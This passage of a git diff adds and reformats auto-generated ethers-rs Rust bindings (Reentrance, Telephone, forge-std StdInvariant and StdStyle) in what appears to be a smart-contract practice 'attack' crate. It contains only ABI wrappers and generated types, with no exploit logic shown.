::ethers::core::abi::ethabi::StateMutability::Payable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("withdraw"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("withdraw"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_amount"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static REENTRANCE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct Reentrance(::ethers::contract::Contract); + impl ::core::clone::Clone for Reentrance { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for Reentrance { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for Reentrance { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for Reentrance { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Reentrance)).field(&self.address()).finish() + } + } + impl Reentrance { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + REENTRANCE_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `balanceOf` (0x70a08231) function + pub fn balance_of( + &self, + who: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([112, 160, 130, 49], who) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `balances` (0x27e235e3) function + pub fn balances( + &self, + p0: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([39, 226, 53, 227], p0) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `donate` (0x00362a95) function + pub fn donate( + &self, + to: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([0, 54, 42, 149], to) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `withdraw` (0x2e1a7d4d) function + pub fn withdraw( + &self, + amount: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([46, 26, 125, 77], amount) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for Reentrance { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `balanceOf` function with signature `balanceOf(address)` and selector `0x70a08231` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "balanceOf", abi = "balanceOf(address)")] + pub struct BalanceOfCall { + pub who: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the `balances` function with signature `balances(address)` and selector `0x27e235e3` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "balances", abi = "balances(address)")] + pub struct BalancesCall(pub ::ethers::core::types::Address); + ///Container type for all input parameters for the `donate` function with signature `donate(address)` and selector `0x00362a95` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "donate", abi = "donate(address)")] + pub struct DonateCall { + pub to: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the `withdraw` function with signature `withdraw(uint256)` and selector `0x2e1a7d4d` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "withdraw", abi = "withdraw(uint256)")] + pub struct WithdrawCall { + pub amount: ::ethers::core::types::U256, + } + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum ReentranceCalls { + BalanceOf(BalanceOfCall), + Balances(BalancesCall), + Donate(DonateCall), + Withdraw(WithdrawCall), + } + impl ::ethers::core::abi::AbiDecode for ReentranceCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::BalanceOf(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Balances(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Donate(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Withdraw(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for ReentranceCalls { + fn encode(self) -> Vec { + match self { + Self::BalanceOf(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Balances(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Donate(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Withdraw(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for ReentranceCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::BalanceOf(element) => ::core::fmt::Display::fmt(element, f), + Self::Balances(element) => ::core::fmt::Display::fmt(element, f), + Self::Donate(element) => ::core::fmt::Display::fmt(element, f), + Self::Withdraw(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: BalanceOfCall) -> Self { + Self::BalanceOf(value) + } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: BalancesCall) -> Self { + Self::Balances(value) + } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: DonateCall) -> Self { + Self::Donate(value) + } + } + impl ::core::convert::From for ReentranceCalls { + fn from(value: WithdrawCall) -> Self { + Self::Withdraw(value) + } + } + ///Container type for all return fields from the `balanceOf` function with signature `balanceOf(address)` and selector `0x70a08231` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct BalanceOfReturn { + pub balance: ::ethers::core::types::U256, + } + ///Container type for all return fields from the `balances` function with signature `balances(address)` and selector `0x27e235e3` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct BalancesReturn(pub ::ethers::core::types::U256); +} diff --git a/attack/src/abi/std_invariant.rs b/attack/src/abi/std_invariant.rs index 33dfe7b..d92e954 100644 --- a/attack/src/abi/std_invariant.rs +++ b/attack/src/abi/std_invariant.rs @@ -7,7 +7,7 @@ pub use std_invariant::*; clippy::upper_case_acronyms, clippy::type_complexity, dead_code, - non_camel_case_types + non_camel_case_types, )] pub mod std_invariant { #[allow(deprecated)] @@ -251,47 +251,49 @@ pub mod std_invariant { } } ///The parsed JSON ABI of the contract. - pub static STDINVARIANT_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); + pub static STDINVARIANT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); pub struct StdInvariant(::ethers::contract::Contract); impl ::core::clone::Clone for StdInvariant { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } } impl ::core::ops::Deref for StdInvariant { type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } + fn deref(&self) -> &Self::Target { + &self.0 + } } impl ::core::ops::DerefMut for StdInvariant { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } } impl ::core::fmt::Debug for StdInvariant { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { f.debug_tuple(::core::stringify!(StdInvariant)) .field(&self.address()) .finish() } } impl StdInvariant { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. pub fn new>( address: T, client: ::std::sync::Arc, ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - STDINVARIANT_ABI.clone(), - client, - )) + Self( + ::ethers::contract::Contract::new( + address.into(), + STDINVARIANT_ABI.clone(), + client, + ), + ) } - ///Calls the contract's `excludeArtifacts` - /// (0xb5508aa9) function + ///Calls the contract's `excludeArtifacts` (0xb5508aa9) function pub fn exclude_artifacts( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -302,8 +304,7 @@ pub mod std_invariant { .method_hash([181, 80, 138, 169], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `excludeContracts` - /// (0xe20c9f71) function + ///Calls the contract's `excludeContracts` (0xe20c9f71) function pub fn exclude_contracts( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -314,8 +315,7 @@ pub mod std_invariant { .method_hash([226, 12, 159, 113], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `excludeSenders` - /// (0x1ed7831c) function + ///Calls the contract's `excludeSenders` (0x1ed7831c) function pub fn exclude_senders( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -326,8 +326,7 @@ pub mod std_invariant { .method_hash([30, 215, 131, 28], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `targetArtifactSelectors` - /// (0x66d9a9a0) function + ///Calls the contract's `targetArtifactSelectors` (0x66d9a9a0) function pub fn target_artifact_selectors( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -338,8 +337,7 @@ pub mod std_invariant { .method_hash([102, 217, 169, 160], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `targetArtifacts` - /// (0x85226c81) function + ///Calls the contract's `targetArtifacts` (0x85226c81) function pub fn target_artifacts( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -350,8 +348,7 @@ pub mod std_invariant { .method_hash([133, 34, 108, 129], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `targetContracts` - /// (0x3f7286f4) function + ///Calls the contract's `targetContracts` (0x3f7286f4) function pub fn target_contracts( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -362,8 +359,7 @@ pub mod std_invariant { .method_hash([63, 114, 134, 244], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `targetSelectors` - /// (0x916a17c6) function + ///Calls the contract's `targetSelectors` (0x916a17c6) function pub fn target_selectors( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -374,8 +370,7 @@ pub mod std_invariant { .method_hash([145, 106, 23, 198], ()) .expect("method not found (this should never happen)") } - ///Calls the contract's `targetSenders` - /// (0x3e5e3c23) function + ///Calls the contract's `targetSenders` (0x3e5e3c23) function pub fn target_senders( &self, ) -> ::ethers::contract::builders::ContractCall< @@ -387,16 +382,13 @@ pub mod std_invariant { .expect("method not found (this should never happen)") } } - impl - From<::ethers::contract::Contract> for StdInvariant - { + impl From<::ethers::contract::Contract> + for StdInvariant { fn from(contract: ::ethers::contract::Contract) -> Self { Self::new(contract.address(), contract.client()) } } - ///Container type for all input parameters for the - /// `excludeArtifacts` function with signature - /// `excludeArtifacts()` and selector `0xb5508aa9` + ///Container type for all input parameters for the `excludeArtifacts` function with signature `excludeArtifacts()` and selector `0xb5508aa9` #[derive( Clone, ::ethers::contract::EthCall, @@ -405,13 +397,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "excludeArtifacts", abi = "excludeArtifacts()")] pub struct ExcludeArtifactsCall; - ///Container type for all input parameters for the - /// `excludeContracts` function with signature - /// `excludeContracts()` and selector `0xe20c9f71` + ///Container type for all input parameters for the `excludeContracts` function with signature `excludeContracts()` and selector `0xe20c9f71` #[derive( Clone, ::ethers::contract::EthCall, @@ -420,13 +410,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "excludeContracts", abi = "excludeContracts()")] pub struct ExcludeContractsCall; - ///Container type for all input parameters for the - /// `excludeSenders` function with signature - /// `excludeSenders()` and selector `0x1ed7831c` + ///Container type for all input parameters for the `excludeSenders` function with signature `excludeSenders()` and selector `0x1ed7831c` #[derive( Clone, ::ethers::contract::EthCall, @@ -435,14 +423,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "excludeSenders", abi = "excludeSenders()")] pub struct ExcludeSendersCall; - ///Container type for all input parameters for the - /// `targetArtifactSelectors` function with signature - /// `targetArtifactSelectors()` and selector - /// `0x66d9a9a0` + ///Container type for all input parameters for the `targetArtifactSelectors` function with signature `targetArtifactSelectors()` and selector `0x66d9a9a0` #[derive( Clone, ::ethers::contract::EthCall, @@ -451,16 +436,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, - )] - #[ethcall( - name = "targetArtifactSelectors", - abi = "targetArtifactSelectors()" + Hash )] + #[ethcall(name = "targetArtifactSelectors", abi = "targetArtifactSelectors()")] pub struct TargetArtifactSelectorsCall; - ///Container type for all input parameters for the - /// `targetArtifacts` function with signature - /// `targetArtifacts()` and selector `0x85226c81` + ///Container type for all input parameters for the `targetArtifacts` function with signature `targetArtifacts()` and selector `0x85226c81` #[derive( Clone, ::ethers::contract::EthCall, @@ -469,13 +449,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "targetArtifacts", abi = "targetArtifacts()")] pub struct TargetArtifactsCall; - ///Container type for all input parameters for the - /// `targetContracts` function with signature - /// `targetContracts()` and selector `0x3f7286f4` + ///Container type for all input parameters for the `targetContracts` function with signature `targetContracts()` and selector `0x3f7286f4` #[derive( Clone, ::ethers::contract::EthCall, @@ -484,13 +462,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "targetContracts", abi = "targetContracts()")] pub struct TargetContractsCall; - ///Container type for all input parameters for the - /// `targetSelectors` function with signature - /// `targetSelectors()` and selector `0x916a17c6` + ///Container type for all input parameters for the `targetSelectors` function with signature `targetSelectors()` and selector `0x916a17c6` #[derive( Clone, ::ethers::contract::EthCall, @@ -499,13 +475,11 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "targetSelectors", abi = "targetSelectors()")] pub struct TargetSelectorsCall; - ///Container type for all input parameters for the - /// `targetSenders` function with signature - /// `targetSenders()` and selector `0x3e5e3c23` + ///Container type for all input parameters for the `targetSenders` function with signature `targetSenders()` and selector `0x3e5e3c23` #[derive( Clone, ::ethers::contract::EthCall, @@ -514,14 +488,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] #[ethcall(name = "targetSenders", abi = "targetSenders()")] pub struct TargetSendersCall; ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] pub enum StdInvariantCalls { ExcludeArtifacts(ExcludeArtifactsCall), ExcludeContracts(ExcludeContractsCall), @@ -535,28 +507,22 @@ pub mod std_invariant { impl ::ethers::core::abi::AbiDecode for StdInvariantCalls { fn decode( data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { + ) -> ::core::result::Result { let data = data.as_ref(); - if let Ok(decoded) = - ::decode( + if let Ok(decoded) + = ::decode( data, - ) - { + ) { return Ok(Self::ExcludeArtifacts(decoded)); } - if let Ok(decoded) = - ::decode( + if let Ok(decoded) + = ::decode( data, - ) - { + ) { return Ok(Self::ExcludeContracts(decoded)); } - if let Ok(decoded) = - ::decode( - data, - ) - { + if let Ok(decoded) + = ::decode(data) { return Ok(Self::ExcludeSenders(decoded)); } if let Ok(decoded) @@ -565,32 +531,20 @@ pub mod std_invariant { ) { return Ok(Self::TargetArtifactSelectors(decoded)); } - if let Ok(decoded) = - ::decode( - data, - ) - { + if let Ok(decoded) + = ::decode(data) { return Ok(Self::TargetArtifacts(decoded)); } - if let Ok(decoded) = - ::decode( - data, - ) - { + if let Ok(decoded) + = ::decode(data) { return Ok(Self::TargetContracts(decoded)); } - if let Ok(decoded) = - ::decode( - data, - ) - { + if let Ok(decoded) + = ::decode(data) { return Ok(Self::TargetSelectors(decoded)); } - if let Ok(decoded) = - ::decode( - data, - ) - { + if let Ok(decoded) + = ::decode(data) { return Ok(Self::TargetSenders(decoded)); } Err(::ethers::core::abi::Error::InvalidData.into()) @@ -627,35 +581,18 @@ pub mod std_invariant { } } impl ::core::fmt::Display for StdInvariantCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { match self { - Self::ExcludeArtifacts(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::ExcludeContracts(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::ExcludeSenders(element) => { - ::core::fmt::Display::fmt(element, f) - } + Self::ExcludeArtifacts(element) => ::core::fmt::Display::fmt(element, f), + Self::ExcludeContracts(element) => ::core::fmt::Display::fmt(element, f), + Self::ExcludeSenders(element) => ::core::fmt::Display::fmt(element, f), Self::TargetArtifactSelectors(element) => { ::core::fmt::Display::fmt(element, f) } - Self::TargetArtifacts(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TargetContracts(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TargetSelectors(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TargetSenders(element) => { - ::core::fmt::Display::fmt(element, f) - } + Self::TargetArtifacts(element) => ::core::fmt::Display::fmt(element, f), + Self::TargetContracts(element) => ::core::fmt::Display::fmt(element, f), + Self::TargetSelectors(element) => ::core::fmt::Display::fmt(element, f), + Self::TargetSenders(element) => ::core::fmt::Display::fmt(element, f), } } } @@ -695,11 +632,11 @@ pub mod std_invariant { } } impl ::core::convert::From for StdInvariantCalls { - fn from(value: TargetSendersCall) -> Self { Self::TargetSenders(value) } + fn from(value: TargetSendersCall) -> Self { + Self::TargetSenders(value) + } } - ///Container type for all return fields from the - /// `excludeArtifacts` function with signature - /// `excludeArtifacts()` and selector `0xb5508aa9` + ///Container type for all return fields from the `excludeArtifacts` function with signature `excludeArtifacts()` and selector `0xb5508aa9` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -708,14 +645,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct ExcludeArtifactsReturn { pub excluded_artifacts: ::std::vec::Vec<::std::string::String>, } - ///Container type for all return fields from the - /// `excludeContracts` function with signature - /// `excludeContracts()` and selector `0xe20c9f71` + ///Container type for all return fields from the `excludeContracts` function with signature `excludeContracts()` and selector `0xe20c9f71` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -724,14 +659,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct ExcludeContractsReturn { pub excluded_contracts: ::std::vec::Vec<::ethers::core::types::Address>, } - ///Container type for all return fields from the - /// `excludeSenders` function with signature - /// `excludeSenders()` and selector `0x1ed7831c` + ///Container type for all return fields from the `excludeSenders` function with signature `excludeSenders()` and selector `0x1ed7831c` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -740,15 +673,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct ExcludeSendersReturn { pub excluded_senders: ::std::vec::Vec<::ethers::core::types::Address>, } - ///Container type for all return fields from the - /// `targetArtifactSelectors` function with signature - /// `targetArtifactSelectors()` and selector - /// `0x66d9a9a0` + ///Container type for all return fields from the `targetArtifactSelectors` function with signature `targetArtifactSelectors()` and selector `0x66d9a9a0` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -757,14 +687,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct TargetArtifactSelectorsReturn { pub targeted_artifact_selectors: ::std::vec::Vec, } - ///Container type for all return fields from the - /// `targetArtifacts` function with signature - /// `targetArtifacts()` and selector `0x85226c81` + ///Container type for all return fields from the `targetArtifacts` function with signature `targetArtifacts()` and selector `0x85226c81` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -773,14 +701,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct TargetArtifactsReturn { pub targeted_artifacts: ::std::vec::Vec<::std::string::String>, } - ///Container type for all return fields from the - /// `targetContracts` function with signature - /// `targetContracts()` and selector `0x3f7286f4` + ///Container type for all return fields from the `targetContracts` function with signature `targetContracts()` and selector `0x3f7286f4` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -789,14 +715,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct TargetContractsReturn { pub targeted_contracts: ::std::vec::Vec<::ethers::core::types::Address>, } - ///Container type for all return fields from the - /// `targetSelectors` function with signature - /// `targetSelectors()` and selector `0x916a17c6` + ///Container type for all return fields from the `targetSelectors` function with signature `targetSelectors()` and selector `0x916a17c6` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -805,14 +729,12 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct TargetSelectorsReturn { pub targeted_selectors: ::std::vec::Vec, } - ///Container type for all return fields from the - /// `targetSenders` function with signature - /// `targetSenders()` and selector `0x3e5e3c23` + ///Container type for all return fields from the `targetSenders` function with signature `targetSenders()` and selector `0x3e5e3c23` #[derive( Clone, ::ethers::contract::EthAbiType, @@ -821,7 +743,7 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct TargetSendersReturn { pub targeted_senders: ::std::vec::Vec<::ethers::core::types::Address>, @@ -835,7 +757,7 @@ pub mod std_invariant { Debug, PartialEq, Eq, - Hash, + Hash )] pub struct FuzzSelector { pub addr: ::ethers::core::types::Address, diff --git a/attack/src/abi/std_style.rs b/attack/src/abi/std_style.rs index 486ee62..5de4e47 100644 --- a/attack/src/abi/std_style.rs +++ b/attack/src/abi/std_style.rs @@ -7,7 +7,7 @@ pub use std_style::*; clippy::upper_case_acronyms, clippy::type_complexity, dead_code, - non_camel_case_types + non_camel_case_types, )] pub mod std_style { #[allow(deprecated)] @@ -22,76 +22,72 @@ pub mod std_style { } } ///The parsed JSON ABI of the contract. - pub static STDSTYLE_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); + pub static STDSTYLE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`V`7`\x0B\x82\x82\x829\x80Q`\0\x1A`s\x14`*WcNH{q`\xE0\x1B`\0R`\0`\x04R`$`\0\xFD[0`\0R`s\x81S\x82\x81\xF3\xFEs\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 ? \x86\xF6\xD3\xDEg\x96 v\xA8|\xD8vK\x02\x86\xAB\x82>\xE9\x93\xA6.\x8C\xA4\xFB\xC69J\xFD\xB9dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`V`7`\x0B\x82\x82\x829\x80Q`\0\x1A`s\x14`*WcNH{q`\xE0\x1B`\0R`\0`\x04R`$`\0\xFD[0`\0R`s\x81S\x82\x81\xF3\xFEs\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xAD\xB1xl\xD7\xF0\xC7H\x07\xD7RZ=\x92\x95=\xFD\xBE\xD4\xEC\x9CS\xDC\xD1\x93| \xACXw\xF6\x1DdsolcC\0\x08\x14\x003"; /// The bytecode of the contract. - pub static STDSTYLE_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); + pub static STDSTYLE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"s\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 ? \x86\xF6\xD3\xDEg\x96 v\xA8|\xD8vK\x02\x86\xAB\x82>\xE9\x93\xA6.\x8C\xA4\xFB\xC69J\xFD\xB9dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"s\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xAD\xB1xl\xD7\xF0\xC7H\x07\xD7RZ=\x92\x95=\xFD\xBE\xD4\xEC\x9CS\xDC\xD1\x93| \xACXw\xF6\x1DdsolcC\0\x08\x14\x003"; /// The deployed bytecode of the contract. - pub static STDSTYLE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub static STDSTYLE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); pub struct StdStyle(::ethers::contract::Contract); impl ::core::clone::Clone for StdStyle { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } } impl ::core::ops::Deref for StdStyle { type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } + fn deref(&self) -> &Self::Target { + &self.0 + } } impl ::core::ops::DerefMut for StdStyle { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } } impl ::core::fmt::Debug for StdStyle { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(StdStyle)) - .field(&self.address()) - .finish() + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(StdStyle)).field(&self.address()).finish() } } impl StdStyle { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. pub fn new>( address: T, client: ::std::sync::Arc, ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - STDSTYLE_ABI.clone(), - client, - )) + Self( + ::ethers::contract::Contract::new( + address.into(), + STDSTYLE_ABI.clone(), + client, + ), + ) } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction /// /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. + /// - If there are no constructor arguments, you should pass `()` as the argument. /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. + /// - The default number of confirmations is 1 block. /// /// /// # Example /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. + /// Generate contract bindings with `abigen!` and deploy a new contract instance. /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. /// /// ```ignore /// # async fn deploy(client: ::std::sync::Arc) { @@ -118,9 +114,8 @@ pub mod std_style { Ok(deployer) } } - impl - From<::ethers::contract::Contract> for StdStyle - { + impl From<::ethers::contract::Contract> + for StdStyle { fn from(contract: ::ethers::contract::Contract) -> Self { Self::new(contract.address(), contract.client()) } diff --git a/attack/src/abi/telephone.rs b/attack/src/abi/telephone.rs new file mode 100644 index 0000000..26e3754 --- /dev/null +++ b/attack/src/abi/telephone.rs @@ -0,0 +1,223 @@ +pub use telephone::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod telephone { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("changeOwner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("changeOwner"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_owner"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: 